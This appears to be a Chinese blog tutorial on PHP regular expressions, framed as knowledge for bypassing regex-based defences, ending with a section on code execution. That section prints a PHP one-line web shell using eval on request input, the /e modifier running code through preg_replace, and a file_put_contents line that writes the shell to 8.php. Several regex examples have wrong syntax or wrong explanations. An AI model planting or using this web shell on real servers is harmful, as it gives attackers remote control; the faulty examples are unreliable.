后端基础 - 正则表达式

一、什么是正则表达式

(核心是查找匹配,就是为了绕过现在主流的防御手段就是正则,正则匹配到危险的东西 替换或者拦截)

正则表达式,又称规则表达式。(英语:Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。

正则表达式的特点是:

  1. 灵活性、逻辑性和功能性非常强;

  2. 可以迅速地用极简单的方式达到字符串的复杂控制。

  3. 对于刚接触的人来说,比较晦涩难懂。

正则表达式用途:

判断字符串是否符合某一规则(判断是否符合手机号、邮箱规则)。

从一个字符串中找出符合规则的所有子字符串(取HTML标签名)。

二、PHP中正则表达式常用函数

PHP中使用正则规则一定要加代表正则的标识/ /

preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)

返回匹配到的次数

preg_replace (正则表达式、替换成什么、匹配字符串)

返回替换后的结果

替换支持数组格式

<? Php
Var_dump(preg_match_all(‘/abc/’,’abcdswdd’));
?>
​
<? Php
Var_dump(preg_replace (‘/abc/’,’zkaq’,’abc666’));
?>
批量替换需要用数组:
<? Php
$a= array(‘abc’,’aabc’,’ccabc’);
Var_dump(preg_replace (‘/abc/’,’zkaq’,$a));
?>

三、正则表达式语法

常用转义字符:

数字:\d 非数字:\D 空白字符(空格、制表符、换页符等):\s 非空白字符:\S 单词字符(26个英文字母+数字+下划线_):\w 非单词字符:\W

<? Php
Var_dump(preg_replace (‘/\d/’,’zkaq’,’123123’));
?>
123123里所有的数字替换成zkaq
​
<? Php
Var_dump(preg_replace (‘/\s/’,’zkaq’,’123 123’));
?>
123 123所有空白字符都会被替换成zkaq
 自定义字符结合
字符集合:[单个字符或字符区间],用于匹配集合内字符如:
•  [a-z]表示a-z这26个小写字母
•  [0-9a-z]表示0-9这10个数字和a-z26个小写字母   只能到9了,成十上百的不能用函数,可以单个用,
•  [135a-h]表示包含数字1,3,5和字母a-h这8个字母
•  注意:两个不同字符段间请勿使用,隔开。
非集:[^单个字符或字符区间],用于匹配非集合内字符。如:
•  [^0-9]表示匹配所有非数字字符。
•  [^a-zA-Z]表示匹配所以非字母字符。
<? php
Var_dump(preg_replace (‘/[1-4]/’,’zkaq’,’123 123’));
?>
只有1到4之外的数字才能被替换
Var_dump(preg_replace (‘/154a-c/’,’zkaq’,’154,45,jhh’));
就能排除上百的了
**关键字**:
•  ()    => 和数学一样,代表这是一个整体。
•  ^    =>  匹配输入字符串的开始位置
•  $    => 匹配输入字符串的结尾位置
•  .     => 通配符[代表任意字符]
•  *    => 匹配0次或者多次
•  +     => 匹配1次或者多次
•  \    => 转义字符
•  |     =>  两项之间的一个选择。
Var_dump(preg_replace (‘/^3b$/’,’zkaq’,’3ddgb’));
**3开头b结尾以内的才会被匹配,3不开头不行,d不结尾不行**
Var_dump(preg_match_all (‘/a+/’,’zkaq’,’asddaaasda’))
**返回三次,a,aaa,a三次**
Var_dump(preg_match_all (‘/[a-c]|[0-5]’,’123b’,);
**返回四次**
**限定符 + 修饰符:**
•    限定符:
•    {n}   => 例如: 0{8}   意思是指 只有连起来8个0才会被匹配  
•    {n,}  =>例如: 0{2,}  意思是 只要有2个0及其以上的就会被匹配
•    {n,m}  => 例如: 0{2,4} 意思是最少匹配2个0,最多匹配4个0
•    注:被匹配时,默认匹配最多的次数
Var_dump(preg_match_all (‘/0{2}/’,’12005a’);
只有连在一起的两个0才能被匹配,如果有6个0在一起,会被匹配3次
Var_dump(preg_match_all (‘/0{2,}/’,’12005a’); 
2个0以上在一起的算一次
    修饰符:
•     /i  => 不区分大小写
•    /A  => 匹配规则必须从头开始匹配
•    /s   => .将匹配一切字符
•    /x   => 正则表达式中的空白字符会被忽略
•    /e   => 代码执行 仅限preg_replace()   => 可以写一句话但是不能连接菜刀
•    file_put_contents 函数 [把字符串写入文件] 
•    file_put_contents(写入文件的地址,写入的文件的内容)
Var_dump(preg_match_all (‘/abc/A’,’abc4’));
Var_dump(preg_match_all (‘/a bc/Ai’,’abc4’));
进阶:关于/e
一句话木马核心是任意代码上传
<?php
Eval($_REQUEST[‘a’]);      $_REQUEST是个数组  [‘a’]是指的是选中数组里a的键值
很多时候不只是eval,换成assert也能执行
echo preg_replace(‘/a/e’,’phpinfo()’,’abc’);可直接执行,但不能连接菜刀
解决办法:
Echo File_put_contents(‘8.php’,’<?php eval($_REQUEST[a]) ?>’)
就生成了8.php文件,里面有一句话木马

一起交流网安吧:safe2082

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值